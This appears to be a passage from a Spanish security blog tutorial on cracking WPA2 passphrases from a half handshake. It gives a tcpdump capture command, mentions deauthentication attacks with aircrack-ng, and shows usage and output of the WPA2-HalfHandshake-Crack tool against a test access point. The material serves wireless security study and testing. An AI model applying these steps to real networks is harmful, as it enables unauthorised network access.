El siguiente paso consiste en capturar todo el trafico correspondiente a las conexiones que realizarán los clientes contra el AP recién creado. Para ello, se puede utilizar Wireshark, TCPDump o airodump-ng para capturar el handshake a medias.

sudo tcpdump -i wlan0 -s 65535 -w half-handshake.cap

Una forma de conseguir trafico, es utilizando herramientas como aircrack-ng para ejecutar ataques de “deauthenticación” contra los clientes de una red determinada. En el caso de que no exista un AP con el SSID especificado en la zona de acción, pero que se tenga la plena seguridad de que en algún momento habrá clientes que busquen dicho SSID, solamente será cuestión de paciencia y esperar a que dichos clientes ejecuten las peticiones “PROBE_REQUEST”.

Finalmente, es el momento de realizar el ataque por diccionario y para ello, se puede utilizar una herramienta llamada “WPA2-HalfHandshake-Crack”

Utilizando WPA2-HalfHandshake-Crack

“WPA2-HalfHandshake-Crack” es una herramienta que se encarga de realizar ataques por diccionario contra ficheros PCAP con un handshake completo o uno a medias. El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git

Es necesario instalar todas las dependencias para poder ejecutar el script y para ello, se puede lanzar el script setup.py con el argumento “install”. La utilidad principal del proyecto es “halfHandshake.py” y recibe como argumento las siguientes opciones:

-r: Fichero PCAP con el handshake o el handshake a medias que se ha capturado previamente

-m: Dirección MAC del AP.

-s: El SSID del AP.

-d: Ubicación del diccionario para realizar el ataque. Si no se especifica un valor, se lee el diccionario por defecto de la herramienta.

Usando el fichero PCAP capturado en el paso anterior y un diccionario que contiene la contraseña, se puede ejecutar la utilidad para intentar obtener el passphrase.

python halfHandshake.py -r half-handshake.cap -m FC15B4FCF606 -s “ONOB4387″ -d dictONOFAKE

loading dictionary…

0.02212665655% done. 700.23228772 hashes per second

0.0431311549654% done. 713.574044375 hashes per second

0.0637903739549% done. 714.927209317 hashes per second

0.0851689250818% done. 721.570195251 hashes per second

0.105885690642% done. 721.111075404 hashes per second

Passphrase found! testingwpa2ap

Como se puede apreciar, ha sido rápido y limpio, evidentemente porque el diccionario especificado ya contenía la passphrase del AP, sin embargo es bastante ilustrativo para probar el uso de esta herramienta y verificar que aunque no se cuente con un handshake completo, aun sigue siendo posible realizar un ataque por diccionario con un handshake a medias.

Un saludo y Happy Hack!
Adastra

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.465 seguidores

A %d blogueros les gusta esto: